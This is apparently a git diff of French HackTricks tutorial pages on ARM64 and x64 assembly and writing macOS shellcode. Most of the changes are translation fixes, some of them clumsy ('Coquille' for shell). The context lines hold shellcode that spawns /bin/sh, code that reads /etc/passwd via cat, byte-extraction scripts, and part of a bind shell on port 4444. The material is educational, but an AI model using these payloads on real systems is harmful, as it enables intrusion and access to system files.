* **`ldrsw`**: **Charger** une valeur signée **32 bits** depuis la mémoire et la **étendre à 64 bits**.
|
||||
* **`ldrsw`**: **Charger** une valeur signée **32 bits** depuis la mémoire et **l'étendre à 64 bits**.
|
||||
* Exemple : `ldrsw x0, [x1]` — Cela charge une valeur signée sur 32 bits depuis l'emplacement mémoire pointé par `x1`, l'étend à 64 bits, et la stocke dans `x0`.
|
||||
* **`stur`**: **Stocker une valeur de registre dans un emplacement mémoire**, en utilisant un décalage par rapport à un autre registre.
|
||||
* Exemple : `stur x0, [x1, #4]` — Cela stocke la valeur dans `x0` dans l'adresse mémoire qui est 4 octets plus grande que l'adresse actuellement dans `x1`.
|
||||
* **`svc`** : Faire un **appel système**. Cela signifie "Supervisor Call". Lorsque le processeur exécute cette instruction, il **passe du mode utilisateur au mode noyau** et saute à un emplacement spécifique en mémoire où se trouve le code de gestion des **appels système du noyau**.
|
||||
* **`svc`** : Faire un **appel système**. Cela signifie "Supervisor Call". Lorsque le processeur exécute cette instruction, il **passe du mode utilisateur au mode kernel** et saute à un emplacement spécifique en mémoire où se trouve le code de gestion des **appels système du kernel**.
|
||||
* Exemple:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Charger le numéro d'appel système pour exit (93) dans le registre x8.
|
||||
mov x0, 0 ; Charger le code d'état de sortie (0) dans le registre x0.
|
||||
mov x0, 0 ; Charger le code de statut de sortie (0) dans le registre x0.
|
||||
svc 0 ; Faire l'appel système.
|
||||
```
|
||||
|
||||
|
@ -250,7 +250,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
|
|||
|
||||
### **Épilogue de la fonction**
|
||||
|
||||
1. **Désallouer les variables locales (si des variables ont été allouées)**: `add sp, sp, <size>`
|
||||
1. **Désallouer les variables locales (si certaines ont été allouées)**: `add sp, sp, <size>`
|
||||
2. **Restaurer le registre de lien et le pointeur de cadre**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -263,14 +263,14 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
|
||||
## État d'exécution AARCH32
|
||||
|
||||
Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut s'exécuter dans l'un des **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`l'interfonctionnement`**.\
|
||||
Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut s'exécuter dans l'un des **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`interworking`**.\
|
||||
Les programmes 64 bits **privilégiés** peuvent planifier l'**exécution de programmes 32 bits** en effectuant un transfert de niveau d'exception vers le 32 bits moins privilégié.\
|
||||
Notez que la transition de 64 bits à 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 déclenchant un programme en EL0). Cela est fait en définissant le **bit 4 de** **`SPSR_ELx`** registre spécial **à 1** lorsque le processus de thread `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke les programmes **`AArch32`** CPSR. Ensuite, le processus privilégié appelle l'instruction **`ERET`** pour que le processeur passe en mode **`AArch32`** en entrant en A32 ou T32 en fonction de CPSR\*\*.\*\*
|
||||
Notez que la transition de 64 bits à 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 déclenchant un programme en EL0). Cela est fait en définissant le **bit 4 du registre spécial** **`SPSR_ELx`** à **1** lorsque le thread du processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke les programmes **`AArch32`** CPSR. Ensuite, le processus privilégié appelle l'instruction **`ERET`** pour que le processeur passe en mode **`AArch32`** en entrant en A32 ou T32 en fonction de CPSR\*\*.\*\*
|
||||
|
||||
L'**`interfonctionnement`** se produit en utilisant les bits J et T de CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela se traduit essentiellement par le réglage du **bit le plus bas à 1** pour indiquer que le jeu d'instructions est T32.\
|
||||
Cela est défini pendant les **instructions de branchement d'interfonctionnement,** mais peut également être défini directement avec d'autres instructions lorsque le PC est défini comme le registre de destination. Exemple :
|
||||
L'**`interworking`** se produit en utilisant les bits J et T de CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela se traduit essentiellement par le réglage du **bit le plus bas à 1** pour indiquer que le jeu d'instructions est T32.\
|
||||
Cela est défini pendant les **instructions de branchement d'intertravail**, mais peut également être défini directement avec d'autres instructions lorsque le PC est défini comme le registre de destination. Exemple :
|
||||
|
||||
Un autre exemple:
|
||||
Un autre exemple :
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
|
@ -285,13 +285,13 @@ mov r0, #8
|
|||
|
||||
Il y a 16 registres de 32 bits (r0-r15). De r0 à r14, ils peuvent être utilisés pour toute opération, cependant certains sont généralement réservés :
|
||||
|
||||
- `r15` : Compteur de programme (toujours). Contient l'adresse de l'instruction suivante. En A32, actuel + 8, en T32, actuel + 4.
|
||||
- `r15` : Compteur de programme (toujours). Contient l'adresse de l'instruction suivante. En A32 actuel + 8, en T32, actuel + 4.
|
||||
- `r11` : Pointeur de cadre
|
||||
- `r12` : Registre d'appel intra-procédural
|
||||
- `r13` : Pointeur de pile
|
||||
- `r14` : Registre de lien
|
||||
|
||||
De plus, les registres sont sauvegardés dans des `registres bancaires`. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer une `commutation de contexte rapide` dans la gestion des exceptions et des opérations privilégiées pour éviter de devoir sauvegarder et restaurer manuellement les registres à chaque fois. Cela est fait en `sauvegardant l'état du processeur du CPSR au SPSR` du mode processeur vers lequel l'exception est prise. Lors du retour de l'exception, le `CPSR` est restauré à partir du `SPSR`.
|
||||
De plus, les registres sont sauvegardés dans des `registres bancaires`. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer une `commutation de contexte rapide` dans la gestion des exceptions et des opérations privilégiées pour éviter de devoir sauvegarder et restaurer manuellement les registres à chaque fois. Cela est fait en `sauvegardant l'état du processeur du CPSR au SPSR` du mode processeur vers lequel l'exception est prise. Lors des retours d'exception, le `CPSR` est restauré à partir du `SPSR`.
|
||||
|
||||
### CPSR - Registre d'état de programme actuel
|
||||
|
||||
|
@ -307,8 +307,8 @@ Les champs sont divisés en quelques groupes :
|
|||
#### Registre d'état de programme d'application (APSR)
|
||||
|
||||
- Les drapeaux `N`, `Z`, `C`, `V` (tout comme en AArch64)
|
||||
- Le drapeau `Q` : Il est défini à 1 chaque fois qu'une `saturation entière se produit` pendant l'exécution d'une instruction arithmétique de saturation spécialisée. Une fois défini à `1`, il conservera la valeur jusqu'à ce qu'il soit défini manuellement à 0. De plus, il n'y a pas d'instruction qui vérifie sa valeur implicitement, cela doit être fait en le lisant manuellement.
|
||||
- `GE` (Greater than or equal) Flags : Il est utilisé dans les opérations SIMD (Single Instruction, Multiple Data), telles que "addition parallèle" et "soustraction parallèle". Ces opérations permettent de traiter plusieurs points de données dans une seule instruction.
|
||||
- Le drapeau `Q` : Il est défini à 1 chaque fois qu'une `saturation entière se produit` pendant l'exécution d'une instruction arithmétique de saturation spécialisée. Une fois qu'il est défini à `1`, il conservera la valeur jusqu'à ce qu'il soit manuellement défini à 0. De plus, il n'y a pas d'instruction qui vérifie sa valeur implicitement, cela doit être fait en le lisant manuellement.
|
||||
- Drapeaux `GE` (Supérieur ou égal) : Il est utilisé dans les opérations SIMD (Single Instruction, Multiple Data), telles que "addition parallèle" et "soustraction parallèle". Ces opérations permettent de traiter plusieurs points de données dans une seule instruction.
|
||||
|
||||
Par exemple, l'instruction `UADD8` `ajoute quatre paires d'octets` (à partir de deux opérandes de 32 bits) en parallèle et stocke les résultats dans un registre de 32 bits. Ensuite, il `définit les drapeaux GE dans l'APSR` en fonction de ces résultats. Chaque drapeau GE correspond à l'une des additions d'octets, indiquant si l'addition pour cette paire d'octets a `débordé`.
|
||||
|
||||
|
@ -318,12 +318,12 @@ L'instruction `SEL` utilise ces drapeaux GE pour effectuer des actions condition
|
|||
|
||||
- Les bits `J` et `T` : `J` doit être 0 et si `T` est 0, l'ensemble d'instructions A32 est utilisé, et s'il est à 1, le T32 est utilisé.
|
||||
- Registre d'état de bloc IT (`ITSTATE`) : Ce sont les bits de 10 à 15 et de 25 à 26. Ils stockent les conditions pour les instructions à l'intérieur d'un groupe préfixé par `IT`.
|
||||
- Bit `E` : Indique l'`endianness`.
|
||||
- Le bit `E` : Indique l'`endianness`.
|
||||
- Bits de mode et de masque d'exception (0-4) : Ils déterminent l'état d'exécution actuel. Le cinquième indique si le programme s'exécute en 32 bits (un 1) ou en 64 bits (un 0). Les quatre autres représentent le `mode d'exception actuellement utilisé` (lorsqu'une exception se produit et qu'elle est traitée). Le nombre défini `indique la priorité actuelle` au cas où une autre exception serait déclenchée pendant celle-ci.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- `AIF` : Certaines exceptions peuvent être désactivées en utilisant les bits `A`, `I`, `F`. Si `A` est à 1, cela signifie que des `abandons asynchrones` seront déclenchés. Le `I` configure la réponse aux `demandes d'interruptions matérielles externes` (IRQs). et le F est lié aux `demandes d'interruptions rapides` (FIRs).
|
||||
- `AIF` : Certaines exceptions peuvent être désactivées en utilisant les bits `A`, `I`, `F`. Si `A` est à 1, cela signifie que des `abandons asynchrones` seront déclenchés. Le `I` configure la réponse aux `demandes d'interruptions matérielles externes` (IRQ) et le F est lié aux `demandes d'interruptions rapides` (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -355,7 +355,7 @@ XNU prend en charge un autre type d'appels appelés dépendants de la machine. L
|
|||
|
||||
### page comm
|
||||
|
||||
Il s'agit d'une page mémoire propriétaire du noyau qui est mappée dans l'espace d'adressage de chaque processus utilisateur. Elle est destinée à rendre la transition du mode utilisateur à l'espace noyau plus rapide que d'utiliser des appels système pour les services noyau qui sont tellement utilisés que cette transition serait très inefficace.
|
||||
Il s'agit d'une page de mémoire propriétaire du noyau qui est mappée dans l'espace d'adressage de chaque processus utilisateur. Elle est destinée à rendre la transition du mode utilisateur à l'espace noyau plus rapide que d'utiliser des appels système pour les services noyau qui sont tellement utilisés que cette transition serait très inefficace.
|
||||
|
||||
Par exemple, l'appel `gettimeofdate` lit la valeur de `timeval` directement à partir de la page comm.
|
||||
|
||||
|
@ -398,11 +398,18 @@ ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
|||
```
|
||||
Pour extraire les octets :
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
Pour les versions plus récentes de macOS :
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
|
||||
done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Code C pour tester le shellcode</summary>
|
||||
|
@ -453,7 +460,7 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
#### Shell
|
||||
#### Coquille
|
||||
|
||||
Extrait de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqué.
|
||||
|
||||
|
@ -475,7 +482,7 @@ sh_path: .asciz "/bin/sh"
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="avec pile" %}
|
||||
{% onglet title="avec pile" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -752,14 +759,14 @@ svc #0x1337
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## **Introduction à x64**
|
||||
## **Introduction to x64**
|
||||
|
||||
x64, également connu sous le nom de x86-64, est une architecture de processeur 64 bits principalement utilisée dans les ordinateurs de bureau et les serveurs. Issu de l'architecture x86 produite par Intel et adoptée ultérieurement par AMD sous le nom AMD64, c'est l'architecture prédominante dans les ordinateurs personnels et les serveurs d'aujourd'hui.
|
||||
|
||||
|
@ -24,7 +24,7 @@ x64 étend l'architecture x86, avec **16 registres généraux** étiquetés `rax
|
|||
|
||||
1. **`rax`** - Traditionnellement utilisé pour les **valeurs de retour** des fonctions.
|
||||
2. **`rbx`** - Souvent utilisé comme **registre de base** pour les opérations mémoire.
|
||||
3. **`rcx`** - Communément utilisé pour les **compteurs de boucle**.
|
||||
3. **`rcx`** - Couramment utilisé pour les **compteurs de boucle**.
|
||||
4. **`rdx`** - Utilisé dans divers rôles, y compris les opérations arithmétiques étendues.
|
||||
5. **`rbp`** - **Pointeur de base** pour le cadre de la pile.
|
||||
6. **`rsp`** - **Pointeur de pile**, suivant le sommet de la pile.
|
||||
|
@ -35,10 +35,10 @@ x64 étend l'architecture x86, avec **16 registres généraux** étiquetés `rax
|
|||
|
||||
La convention d'appel x64 varie selon les systèmes d'exploitation. Par exemple :
|
||||
|
||||
- **Windows** : Les quatre premiers **paramètres** sont passés dans les registres **`rcx`**, **`rdx`**, **`r8`**, et **`r9`**. Les paramètres supplémentaires sont poussés sur la pile. La valeur de retour est dans **`rax`**.
|
||||
- **System V (couramment utilisé dans les systèmes de type UNIX)** : Les six premiers **paramètres entiers ou pointeurs** sont passés dans les registres **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, et **`r9`**. La valeur de retour est également dans **`rax`**.
|
||||
* **Windows** : Les quatre premiers **paramètres** sont passés dans les registres **`rcx`**, **`rdx`**, **`r8`**, et **`r9`**. Les paramètres supplémentaires sont poussés sur la pile. La valeur de retour est dans **`rax`**.
|
||||
* **System V (couramment utilisé dans les systèmes de type UNIX)** : Les six premiers **paramètres entiers ou pointeurs** sont passés dans les registres **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, et **`r9`**. La valeur de retour est également dans **`rax`**.
|
||||
|
||||
Si la fonction a plus de six entrées, les **autres seront passées sur la pile**. **RSP**, le pointeur de pile, doit être **aligné sur 16 octets**, ce qui signifie que l'adresse à laquelle il pointe doit être divisible par 16 avant tout appel. Cela signifie qu'en général, nous devrions nous assurer que RSP est correctement aligné dans notre shellcode avant d'effectuer un appel de fonction. Cependant, en pratique, les appels système fonctionnent souvent même si cette exigence n'est pas respectée.
|
||||
Si la fonction a plus de six entrées, **le reste sera passé sur la pile**. **RSP**, le pointeur de pile, doit être **aligné sur 16 octets**, ce qui signifie que l'adresse à laquelle il pointe doit être divisible par 16 avant tout appel. Cela signifie qu'en général, nous devrions nous assurer que RSP est correctement aligné dans notre shellcode avant d'effectuer un appel de fonction. Cependant, en pratique, les appels système fonctionnent souvent même si cette exigence n'est pas respectée.
|
||||
|
||||
### Convention d'appel en Swift
|
||||
|
||||
|
@ -46,24 +46,24 @@ Swift a sa propre **convention d'appel** que l'on peut trouver dans [**https://g
|
|||
|
||||
### **Instructions courantes**
|
||||
|
||||
Les instructions x64 ont un ensemble riche, maintenant la compatibilité avec les anciennes instructions x86 et introduisant de nouvelles.
|
||||
Les instructions x64 ont un ensemble riche, maintenant la compatibilité avec les instructions x86 antérieures et en introduisant de nouvelles.
|
||||
|
||||
- **`mov`** : **Déplacer** une valeur d'un **registre** ou d'un **emplacement mémoire** à un autre.
|
||||
- Exemple : `mov rax, rbx` — Déplace la valeur de `rbx` vers `rax`.
|
||||
- **`push`** et **`pop`** : Pousser ou retirer des valeurs de/de la **pile**.
|
||||
- Exemple : `push rax` — Pousse la valeur de `rax` sur la pile.
|
||||
- Exemple : `pop rax` — Retire la valeur supérieure de la pile dans `rax`.
|
||||
- **`add`** et **`sub`** : Opérations d'**addition** et de **soustraction**.
|
||||
- Exemple : `add rax, rcx` — Ajoute les valeurs dans `rax` et `rcx` en stockant le résultat dans `rax`.
|
||||
- **`mul`** et **`div`** : Opérations de **multiplication** et de **division**. Remarque : elles ont des comportements spécifiques concernant l'utilisation des opérandes.
|
||||
- **`call`** et **`ret`** : Utilisés pour **appeler** et **revenir des fonctions**.
|
||||
- **`int`** : Utilisé pour déclencher une **interruption logicielle**. Par exemple, `int 0x80` était utilisé pour les appels système dans Linux x86 32 bits.
|
||||
- **`cmp`** : **Comparer** deux valeurs et définir les indicateurs du CPU en fonction du résultat.
|
||||
- Exemple : `cmp rax, rdx` — Compare `rax` à `rdx`.
|
||||
- **`je`, `jne`, `jl`, `jge`, ...** : Instructions de **saut conditionnel** qui modifient le flux de contrôle en fonction des résultats d'un `cmp` ou d'un test précédent.
|
||||
- Exemple : Après une instruction `cmp rax, rdx`, `je label` — Saute à `label` si `rax` est égal à `rdx`.
|
||||
- **`syscall`** : Utilisé pour les **appels système** dans certains systèmes x64 (comme les Unix modernes).
|
||||
- **`sysenter`** : Une instruction d'**appel système** optimisée sur certaines plateformes.
|
||||
* **`mov`** : **Déplacer** une valeur d'un **registre** ou d'un **emplacement mémoire** à un autre.
|
||||
* Exemple : `mov rax, rbx` — Déplace la valeur de `rbx` vers `rax`.
|
||||
* **`push`** et **`pop`** : Pousser ou retirer des valeurs de/de la **pile**.
|
||||
* Exemple : `push rax` — Pousse la valeur de `rax` sur la pile.
|
||||
* Exemple : `pop rax` — Retire la valeur supérieure de la pile dans `rax`.
|
||||
* **`add`** et **`sub`** : Opérations d'**addition** et de **soustraction**.
|
||||
* Exemple : `add rax, rcx` — Ajoute les valeurs dans `rax` et `rcx` en stockant le résultat dans `rax`.
|
||||
* **`mul`** et **`div`** : Opérations de **multiplication** et de **division**. Remarque : elles ont des comportements spécifiques concernant l'utilisation des opérandes.
|
||||
* **`call`** et **`ret`** : Utilisés pour **appeler** et **revenir des fonctions**.
|
||||
* **`int`** : Utilisé pour déclencher une **interruption logicielle**. Par exemple, `int 0x80` était utilisé pour les appels système dans Linux x86 32 bits.
|
||||
* **`cmp`** : **Comparer** deux valeurs et définir les indicateurs du CPU en fonction du résultat.
|
||||
* Exemple : `cmp rax, rdx` — Compare `rax` à `rdx`.
|
||||
* **`je`, `jne`, `jl`, `jge`, ...** : Instructions de **saut conditionnel** qui modifient le flux de contrôle en fonction des résultats d'un `cmp` ou d'un test précédent.
|
||||
* Exemple : Après une instruction `cmp rax, rdx`, `je label` — Saute à `label` si `rax` est égal à `rdx`.
|
||||
* **`syscall`** : Utilisé pour les **appels système** dans certains systèmes x64 (comme Unix moderne).
|
||||
* **`sysenter`** : Une instruction d'**appel système** optimisée sur certaines plateformes.
|
||||
|
||||
### **Prologue de fonction**
|
||||
|
||||
|
@ -76,7 +76,6 @@ Les instructions x64 ont un ensemble riche, maintenant la compatibilité avec le
|
|||
1. **Déplacer le pointeur de base actuel vers le pointeur de pile** : `mov rsp, rbp` (désallouer les variables locales)
|
||||
2. **Retirer l'ancien pointeur de base de la pile** : `pop rbp` (restaure le pointeur de base de l'appelant)
|
||||
3. **Retourner** : `ret` (retourne le contrôle à l'appelant)
|
||||
|
||||
## macOS
|
||||
|
||||
### appels système
|
||||
|
@ -90,7 +89,7 @@ Il existe différentes classes d'appels système, vous pouvez les [**trouver ici
|
|||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||
```
|
||||
Ensuite, vous pouvez trouver le numéro de chaque appel système [**à cette URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
Ensuite, vous pouvez trouver le numéro de chaque appel système [**dans cette URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
```c
|
||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||
1 AUE_EXIT ALL { void exit(int rval); }
|
||||
|
@ -107,13 +106,13 @@ Ensuite, vous pouvez trouver le numéro de chaque appel système [**à cette URL
|
|||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
Donc, pour appeler l'appel système `open` (**5**) de la classe **Unix/BSD**, vous devez ajouter `0x2000000`:
|
||||
Donc, pour appeler l'appel système `open` (**5**) de la classe **Unix/BSD**, vous devez ajouter `0x2000000` :
|
||||
|
||||
Ainsi, le numéro de l'appel système pour appeler open serait `0x2000005`
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Pour compiler:
|
||||
Pour compiler :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -126,7 +125,7 @@ Pour extraire les octets :
|
|||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
|
@ -224,9 +223,12 @@ pop rax ; pop it to RAX
|
|||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Lire avec cat
|
||||
|
||||
Le but est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses).
|
||||
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses).
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -257,7 +259,7 @@ section .data
|
|||
cat_path: db "/bin/cat", 0
|
||||
passwd_path: db "/etc/passwd", 0
|
||||
```
|
||||
#### Appeler une commande avec sh
|
||||
#### Appeler la commande avec sh
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -295,9 +297,9 @@ sh_path: db "/bin/sh", 0
|
|||
sh_c_option: db "-c", 0
|
||||
touch_command: db "touch /tmp/lalala", 0
|
||||
```
|
||||
#### Shell distant
|
||||
#### Coquille de liaison
|
||||
|
||||
Shell distant depuis [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) sur le **port 4444**
|
||||
Coquille de liaison depuis [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) sur le **port 4444**
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -440,12 +442,12 @@ syscall
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue